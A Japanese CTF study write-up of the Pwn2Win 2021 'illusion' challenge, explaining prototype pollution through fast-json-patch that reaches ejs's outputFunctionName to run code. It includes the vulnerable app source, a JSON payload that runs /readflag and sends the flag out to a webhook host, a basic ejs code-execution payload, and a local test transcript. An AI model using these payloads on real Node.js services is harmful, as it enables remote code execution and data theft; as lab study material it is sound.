Pwn2Win CTF 2021 illusion(prototype pollutionとか)
まえおき
復習用に書いているので、writeupが見たい方はこちらをご覧ください。基本的にここのものを参考にしています。
Pwn2Win CTF 2021 - Illusion · Issue #35 · aszx87410/ctf-writeups · GitHub
https://ctftime.org/writeup/28600
https://blog.effectrenan.com/pwn2win-2021-illusion-web-challenge/
illusion
問題ページへは5分ごとにリセットされる環境を各個人に割り当てられる方式で、出題。他ユーザに影響がありそうなものなので、prototype汚染を使いそうだった。 ソースコード
const express = require('express') const bodyParser = require('body-parser') const jsonpatch = require('fast-json-patch') const ejs = require('ejs') const basicAuth = require('express-basic-auth') const app = express() // Middlewares // app.use(bodyParser.json()) app.use(basicAuth({ users: { "admin": process.env.SECRET || "admin" }, challenge: true })) ///////////////// let services = { status: "online", cameras: "online", doors: "online", dome: "online", turrets: "online" } // Static folder app.use("/static", express.static(__dirname + "/static")); // Homepage app.get("/", async (req, res) => { const html = await ejs.renderFile(__dirname + "/templates/index.ejs", {services}) res.end(html) }) // API app.post("/change_status", (req, res) => { let patch = [] Object.entries(req.body).forEach(([service, status]) => { if (service === "status"){ res.status(400).end("Cannot change all services status") return } patch.push({ "op": "replace", "path": "/" + service, "value": status }) }); jsonpatch.applyPatch(services, patch) if ("offline" in Object.values(services)){ services.status = "offline" } res.json(services) }) app.listen(1337, () => { console.log(`App listening at port 1337`) })
解法は/change_status
に次のペイロードを投げる。
{ "constructor/prototype/outputFunctionName": "a=1;const http=process.mainModule.require('https');const flag=process.mainModule.require('child_process').execSync('/readflag').toString();req=http.get(`https://webhookhogehoge/.......?q=${flag}`);req.end();//" }
もしくは、child_process
のモジュールを呼び出して、リバースシェルを貼るなど。
ejsのprototype pollution
基本的なペイロードとして次のものがある。
Object.prototype.outputFunctionName = "x;process.mainModule.require('child_process').exec('touch 1');x";
これはejs
のrenderFile
メソッド内で恐らくoutputFunctionName
が呼ばれるので、これにフックする形でペイロードを実行している。(はず)この辺りを参照するとそれっぽい気がします。
https://blog.effectrenan.com/pwn2win-2021-illusion-web-challenge/の「AST injection in ejs」あたり
ejs/ejs.js at c594d0e099f564f22099f6b9cc4317b0fec7bfe8 · mde/ejs · GitHub
試してみる
const express = require('express') const ejs = require('ejs') const app = express() app.get("/", async (req, res) => { Object.prototype.outputFunctionName = "x;process.mainModule.require('child_process').exec('touch pollutedfilename');x"; const html = await ejs.renderFile("./index.ejs") res.end(html) }) app.listen(1337, () => { console.log(`App listening at port 1337`) })
kali@kali:~/ctf/pwn2win/web1/illusion/src$ ls index.ejs index.js node_modules package.json package-lock.json kali@kali:~/ctf/pwn2win/web1/illusion/src$ node index.js App listening at port 1337
http://localhost:1337/
にアクセス
^C kali@kali:~/ctf/pwn2win/web1/illusion/src$ ls index.ejs index.js node_modules package.json package-lock.json pollutedfilename
touch
が実行されてファイルが生成されています。
fast-json-patch
こちらのprototype汚染の情報はgithubのプルリクにあったようです。こういうのは見落とすの良くないですね。